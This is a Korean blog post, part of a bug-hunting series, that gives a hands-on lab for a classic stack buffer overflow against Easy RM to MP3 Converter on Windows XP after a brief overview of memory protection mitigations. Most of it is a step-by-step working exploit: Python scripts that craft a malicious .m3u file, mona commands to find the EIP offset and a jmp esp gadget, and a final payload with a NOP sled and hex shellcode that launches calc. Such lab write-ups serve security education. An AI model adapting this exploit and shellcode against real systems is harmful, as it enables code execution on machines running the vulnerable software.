소프트웨어 버그 헌팅 - 4 (메모리 보호 기법과 BOF 실습)
(버퍼 오버플로우(BOF/bufferoverflow, SEH)

소프트웨어 버그 헌팅 -3 은 나중에 쓸꺼야!

갑자기 글자 크기가 바뀐건 블로그 기본 폰트 크기를 바꿨기 때문이지


메모리 보호 기법(Memory Protection)

메모리 보호 기법은 운영체제에서 제공하는 Exploit Mitigation 방법으로 공격자의 공격 비용을
증가시켜 공격을 어렵게 만드느 기술
크게는 사용자 영역 / 커널 영역 보호 기법으로 나누며, 세부적으로는 스택 / 힙 기반 보호기술로 구분

공격자에게 사용으로 인한 이득과 취약점 획득에 드는 비용, 무기화에 드는 비용을 높이는 것이다.

us-16-Weston-Windows-10-Mitigation-Improvements.pdf

 

메모리 보호 기법은 운영체제에서 제공하는 Exploit Mitigation 방법으로 공격자의 공격 비용을

이 글에서는 xp에서 BOF 터뜨리는 방법과 win7에서 터뜨리는 것을 실습해볼 것이다.
그리고 GS(리눅스는 까나리)를 우회하는 방법은 여러가지가 있겠지만 SEH를 이용해 우회해본다.


메모리 보호기법이 1도 적용되어 있지 않은 XP에서 BOF 실습

crash.m3u

shellcode_win7_x32.py

shellcode_win7_x64.py

shellcode_xp.py

프로그램.zip

필요한 파일들이고,

ImmunityDebugger_1_18버전도 구해서 설치한다.

이뮤니티디버거에 모나를 붙여서 쓸것이다. 이뮤니티 설치가 다 끝났으면
이뮤니티 폴더에 있는 pycommands 폴더에 mona.py를 넣는다.
그리고 이뮤니티에서 !mona 치면 명령어들이 보인다.

그리고 프로그램 폴더에 eazy rm mp3 converter 설치한다.

실행하고 crash.mp4를 eazy로 실행시켜본다.

그럼 에러가 나오면서 여기를 클릭하세요를 누르면 4141414141이 찍혀있는 것을 확인할 수 있다.

리턴주소를 확인해야하는데 리턴 주소가 AAAA로 되어있어서 터지는 것이다.

이러한 파일을 파이썬 코드로 생성하게 만든다.
filename = "find.m3u"
buf = "A" * 30000
f=open(filename,'w')
f.write(buf)
f.close()
소스코드 설명은 생략한다.
모든 파일로 바꾸고 find.py로 저장 그리고 실행하면 파일하나 떨군다.

이것을 이뮤니티 디버거에 eazy 컨버터를 올리고 실행하고 find.py로 생성한 파일을 넣어본다.

사진을 보면 EIP가 4141414141로 가득 차버렸고,

아래 스택 부분도 41414141로 가득 차버렸다.

그럼 BOF를 통해 EIP 부분에서 악의적인 행위를 하는 쉘코드 영역으로 보내버리면 될 것 같다.

이를 위해 mona를 사용할거고 경로를 지정할 것이다.
!mona config -set workingfolder C:\log\%p

EIP를 찾기 위한 패턴을 생성할 것이다.
!mona pc 30000 -extended

C:\log\%p 경로에 pattern이 생겼을 것이다. pattern에 있는 ASCII부분을 복사하고

이것을 기존에 작성했던 find.py의 buf = "" 에 넣어준다.

수정한 find.py를 통해 파일을 생성하고 이뮤니티 디버거로 다시 올려본다.

그러면 EIP가 644C2164가 나온다.

이게 과연 몇번째인가? 찾아야한다. 잘 찾기위해서 우린 mona를 사용할 것이다.
!mona po 644C2164 30000 -extended

 

그러면 26062라는 숫자가 보인다. 26062번째에 존재하는 것이다. 그러면

이제 다시 find.py에서
buf = "A"*26062
eip = "BBBB"
buf = buf+eip
를 추가하고, 실행해서 나온 파일을 다시 이뮤니티 디버거에 넣어준다.

 

약간 값이 이상한데.. 어쩄든 eip에 424242가 들어가있는 것을 확인할 수 있고

EIP에 jmp esp 명령어가 있는 주소를 넣고 실행시키도록 해서 ESP가 있는 곳으로 보낼 것이다.

사진을 보면 ESP는 eip에 있는 곳(424242) +8에 있다.

그래서 코드를 조금만 수정해보자면
filename = "find.m3u"
trash = "A"*26062
eip = "BBBB"
shellcode = "CCCC"*1000
buf = trash + eip + shellcode
f = open(filename,'w')
f.write(buf)
f.close()
되겠다. 그리고 저장하고 실행해서 파일만들고 컨버터 올리고 f9 누르고 돌려보자

스택값을 보면 아주 이쁘게 AAAA, BBBB, CCCC가 차있는 것을 알 수 있다.

현재 ESP 위치는 우리가 쉘코드라고 적었던 CCCC~~ 쪽에 속해있다.

EIP에는 BBBB가 있으므로 BBBB대신에 현재 ESP로 가는 명령어를 입력하면 되겠다.

잘쓰는 어셈블리인 jmp esp로 넘어가면 되므로 이 프로그램에서 쓰는 jmp esp의 주소를 넣으면 된다.

EIP(jmp esp) -> esp는 쉘코드를 가르키고 있음 -> 쉘코드 실행!

그럼 이제 jmp esp가 있는 주소를 찾고, 쉘코드를 넣으면 된다.

jmp esp가 있는 주소를 찾기 위해 mona를 사용한다.
!mona findwild -s "찾을 어셈 명령어" -n (-n은 00문자열 뺴고 찾게 해주고, -m은 특정 모듈에서만)
!mona findwild -s "jmp esp" -n

 

아까전에 설정한 C:\log\ 폴더에 가면 폴더가 하나 생겼을 것이고 findwild 텍스트가 생긴다.

위에 찾은 명령어가 나오고 아래는 모듈 정보, 그 아래에 해당 어셈을 쓴 주소 값 등 정보가 있다.

그 중에 맨위에 있는 0x76d1ce03을 사용할 것이다.
(76~ 주소로 넘어가보니 jmp esp가 왜 안되지...? 다른 주소를 써보자)
0x77418265을 써보자 //주소 문제는 아니었나보다.

그리고 쉘코드에 계산기를 실행하는 코드를 넣자.
filename = "find.m3u"
trash = "A" * 26062
eip = "\x65\x82\x41\x77" # 리틀엔디언
nop = "\x90" * 8
shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+"\x7f\xe8\x7b\xca"
buf = trash + eip + nop + shellcode
f=open(filename,'w')
f.write(buf)
f.close()
가 최종 코드가 되시겠다. 두둥.

그리고 똑같이 실행해보면 된다.

그럼 컨버터가 종료되면서 계산기가 나온다!

아무런 보호기법없는 곳에서 BOF를 실습했다. 다음 포스팅에서는

보호 기법이 존재하나 모듈을 통해서 우회하여 BOF을 발생시켜보겠다.

(생각보다 오래 걸림ㅠ)

 

+ Recent posts